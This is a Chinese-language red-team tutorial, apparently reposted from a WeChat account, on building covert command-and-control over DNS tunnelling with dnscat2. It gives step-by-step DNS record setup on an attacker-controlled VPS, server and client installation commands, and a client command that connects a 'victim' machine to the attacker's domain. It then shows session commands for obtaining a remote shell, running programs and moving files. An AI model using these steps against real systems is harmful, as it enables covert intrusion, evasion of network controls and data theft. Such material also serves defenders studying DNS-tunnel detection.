前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过DNS隧道进行C&C通信

通过DNS隧道进行C&C通信

作者头像
渗透攻击红队
发布2020-11-25 10:43:12
2.2K0
发布2020-11-25 10:43:12
举报
文章被收录于专栏:漏洞知识库

DNS

当你在浏览器中输入域名访问网站时,它首先会向 DNS 服务器发送请求来查找域名对应的 IP 地址。找到 IP 地址之后,就会通过 IP 定位到对应的服务器然后获取网站的内容。这整个过程仅仅只需要几毫秒。DNS 默认是运行在 53 端口上。

域名系统将 URL 和 IP 地址关联起来。有了 DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

PS:写这篇文章写了两天,特意买了个域名和服务器!中途遇到各种问题,害,最后还是解决了!

DNS隧道进行C&C通信

Dnscat2


DNScat 堪称神器,因为它可以通过 DNS 协议创建 C&C 隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个 shell。这个工具也是基于 53 端口的,所以你不需要对 DNS 服务器进行权威访问,只要通过 53 端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

什么时候可以用到 DNScat2?目标只能DNS出网的时候可以用到DNScat2.

代码语言:javascript
复制
dnscat2是一个开源软件,下载地址:https://github.com/iagox86/dnscat2

它使用DNS协议创建加密的C&C通道,严格来讲它是一个命令与控制工具。

dns 隧道分为两种,一种是直连模式,就是dns通信目标受害机器直接连接到自己的VPS服务器(C&C)

第二种是中继模式,受害者机器首先会去请求互联网上的dns服务器,最后再指向自己的VPS服务器(C&C)

一、在一台外网VPS服务器上安装Linux操作系统(作为C&C服务器),并提供一个可以配置的域名

首先创建记录A,将自己的域名解析服务器(www.saulgoodman.club)指向VPS服务器,167.xxx.xxx.xxx

然后创建 NS 记录,将 dns 子域名解析结果向 www.saulgoodman.club。其中主机记录的 dns 就是子域名,可以随便设置!

之后Ping www.saulgoodman.club 查看是否解析成功:

能 Ping 同,并且返回的是 服务器IP 的回复说明解析记录A已经设置生效。

之后使用 tcpdump 抓包(端口的53的UDP包)

代码语言:javascript
复制
sudo tcpdump -n -i eth0 dst port 53

然后使用 nslookup 命令查看Dns是否解析成功:

代码语言:javascript
复制
nslookup test.saulgoodman.club

这个时候抓包的时候就会有记录,说明ns解析成功

二、安装dnscat2服务端

在 VPS 服务器上安装dnscat2服务器端(ubuntu服务器),因为服务端是用ruby语言编写的,所以需要配置ruby环境

代码语言:javascript
复制
sudo apt-get install gem
sudo apt-get install ruby-dev
sudo apt-get install libpq-dev
sudo apt-get install ruby-bundler
代码语言:javascript
复制
apt-get install git
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/serive/
sudo apt-get install libxml2-dev libxslt-dev
bundle install

接下来,执行如下命令,启动服务端有三种:

代码语言:javascript
复制
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456   #方式1【常用】
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul #方式2
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #方式3
代码语言:javascript
复制
ruby ./dnscat2.rb test.saulgoodman.club -e open -c saul --no-cache (我使用这个报错不知道为什么)
# -W0 -Ispec 是为了不报错弹出警告,如果报错发出警告可以加上这一条参数
#-e 是一个安全级别,open是服务端允许客户端不进行加密
#-c 是指定一个密码
# --no-cache 禁止缓存,务必在允许服务器时添加此选项,因为powershell-dnscat2客户端与dnscat2服务器的Caching模式不兼容

如果采用是直连模式,可以用下面这条命令:
sudo ruby./dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=saul

三:客户端下载安装dnscat2

客户端Windows下载的话是:https://downloads.skullsecurity.org/dnscat2/

下载地址:https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip(密码:password )

Linux 直接下载并编译:

代码语言:javascript
复制
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2 /client/
make

四、测试是否能通信

服务端建立后,执行如下命令,测试客户端是否能与服务端通信:

代码语言:javascript
复制
./dnscat --dns domain=dns.saulgoodman.club

这个时候服务端收到会话:

复盘过程:目标受害者上的dnscat2指定了dns为攻击者的VPS,也就是(dns.saulgoodman.club),解析 dns.saulgoodman.club 会首先在本地dns缓存中查找,没有对应记录的时候,目标dns会从互联网上的跟dns服务器查询,dns根一看域名是 saulgoodman.club ,就会给到 saulgoodman.club 的域名服务器,saulgoodman.club 域名服务器就会找 A 记录和 NS 记录。

具体过程中 dnscat2 客户端经过了互联网的dns服务器,然后再连接到我们的dns服务器,所以这就是中继模式。

五、 反弹Shell

客户端和服务端建立连接之后,服务端将处于交互模式,输入“windows”或者“session”命令,可以查看当前控制的进程(每个连接都是独立的):

代码语言:javascript
复制
session

输入命令选择进入到目标:

代码语言:javascript
复制
session -i 1

可以输入 help 查看有哪些命令:

代码语言:javascript
复制
command (saulGoodman) 1> help

Here is a list of commands (use -h on any of them for additional help):
* clear  清屏
* delay  修改远程相应延时
* download  下载文件
* echo  
* exec  执行远程机器上的指定程序
* help
* listen
* ping
* quit  切断当前会话
* set  设置值,类似于 security=open
* shell  得到一个反弹shell
* shutdown  切断当前会话
* suspend  返回上一层,相对于使用快捷键ctrl+Z
* tunnels
* unset
* upload
* window
* windows
command (saulGoodman) 1>

获取交互式 shell 模式:

代码语言:javascript
复制
shell

如上图,我们输入 shell 成功建立后得到一个 4 的会话,之后就可以使用 session -i 4 进行连接:

代码语言:javascript
复制
session -i 4

如果想退出的话,输入 exit 即可退出!

session 命令还可以看看有多少个会话:

最后,dnscat2 还提供了多域名并发的特性,可以将多个子域名绑定在同一个 NS 解析记录下,然后再服务端同时接收多个客户连接:

代码语言:javascript
复制
ruby dnscat2.rb --dns=port=53532 --security=open start --dns domain=域名1,domain=域名2

参考文章:

https://mp.weixin.qq.com/s/BmeFxYeIy5fTY_p39ktr9A

https://blog.csdn.net/weixin_41598660/article/details/106658548

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 二、安装dnscat2服务端
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档